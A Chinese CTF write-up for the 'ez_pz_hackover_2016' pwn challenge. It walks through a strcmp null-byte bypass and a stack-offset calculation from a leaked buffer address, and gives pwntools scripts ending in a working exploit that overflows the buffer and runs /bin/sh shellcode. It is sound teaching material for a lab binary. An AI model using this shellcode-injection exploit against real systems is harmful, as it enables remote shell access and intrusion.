ez_pz_hackover_2016

首先查看一下题目的保护,发现保护基本没开,可以栈执行和栈溢出
在这里插入图片描述
用IDA打开程序,关键点在chall函数,首先会打印出s缓冲区的地址,然后接收一个大小不超过1023字节的输入到s缓冲区,然后将缓冲区里换行符后面的内容全部置为0,最后将缓冲区内容与"crashme"这个字符串作比较,如果相同就会进入到vuln函数
在这里插入图片描述
于是,我们进入到vuln函数分析一下,就是将第一个参数长度n的内容复制到dest缓冲区
在这里插入图片描述
那利用方式就呼之欲出了,由于输入到s缓冲区的内容长度不够,无法实现溢出,但是只要进入到vuln函数就可以把构造好的shellcode放入到栈中进行执行
不过首先我们必须要进行绕过,方式就是输入的前面的内容为"crashme\x00",strlen和strcmp都会遇到00字节会截断,然后就会成功的进入到vuln函数将完整的构造好的payload复制到dest缓冲区实现溢出并控制的目的
但是,要成功执行我们的shellcode必须要知道shellcode的位置,而chall函数在执行时就把s缓冲区的地址告诉了我们,因此,只要知道了s缓冲区和shellcode地址的相对偏移量,那么我们每次都可以得到shellcode的地址
那通过脚本调试先确定好执行到覆盖栈的偏移量

from pwn import *
context(log_level = 'debug',os='linux',arch='i386')
p = process('./ez_pz_hackover_2016')
gdb.attach(p)#先要在sendline之前打开gdb调试,若是在sendline之后无法调试
p.recvuntil('> ')
payload = 'crashme\x00' #为了过memcpy,过了memcpy才有机会执行vuln函数
payload += 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'#使用pattern生成
pause()#把程序暂停在这里,可以理解为下断点
p.sendline(payload)

在这里插入图片描述在这里插入图片描述
从输入缓冲区到刚好覆盖掉ebp的偏移为14个字节加上前缀的’crashme\x00’8个字节共22个字节,可以发现memcpy(&dest, &src, n)之后传入到dest的数据到ebp的距离是8+14这里的8是最开始传入的crashme\x00这个8个字节,然后因为retn之前有leave指令,所以实际覆盖到ret还需要+4(32位程序),所以要memcpy到dest的数据要8+14+4=26个字节才能覆盖到retn
注:leave指令相当于mov esp,ebp;pop ebp;导致ebp空间要往高地址增加四个字节(32位)
在这里插入图片描述
所以payload = 'crashme\x00' + 'a'*14 + 'a'*4 + shellcode_addr + shellcode
因为我们传入的shellcode的传到s栈上的,程序开始又给了我们s栈的地址了,所以我们可以利用给出的栈地址做基地址来计算到shellcode的偏移来得出shellcode的地址,虽然地址会随机化但是偏移量不会变

from pwn import *
context(log_level = 'debug',os='linux',arch='i386')
p = process('./ez_pz_hackover_2016')
#p = remote('node3.buuoj.cn', 29530)

gdb.attach(p)
p.recvuntil('crash: ')
stack_addr = int(p.recv(10), 16)#获取题目给我们的s栈开始地址
payload = 'crashme\x00' + 'a'*18 #8+18=26
payload += p32(0) + asm(shellcraft.sh())
#p32(0)是ret的地址,但是我们还不知道具体的地址所以这里用00 00 00 00来模拟调试
p.recvuntil('> ')
p.sendline(payload)
pause()
p.interactive()

在这里插入图片描述
可以看到shellcode是jhh字符开头的
然后查看一下内存情况
在这里插入图片描述
esp和ebp可以确定一个栈空间,所以x/40s $esp就是查看从esp栈顶开始往后的40个地址的数据
在这里插入图片描述
也可以直接用search或者find命令寻找shellcode的地址
在这里插入图片描述
然后,在执行时我们又得到了s栈的地址:0xff917e0c,所以计算偏移为0xff917e0c-0xff917df0=28
在这里插入图片描述
在这里插入图片描述
最终可以构造出我们的exp

#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

p=process('./ez_pz_hackover_2016')

shellcode = asm(shellcraft.sh())

p.recvuntil('lets crash: ')
stack_addr = int(p.recv(10),16)#接收s栈地址
shellcode_addr = stack_addr-28

payload = 'crashme\x00'.ljust(26,"\x00") #加crashme\x00共26个字节,其余用\x00补
payload += p32(shellcode_addr)+shellcode
p.recvuntil('>')
p.sendline(payload)
#pause()
p.interactive()
  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值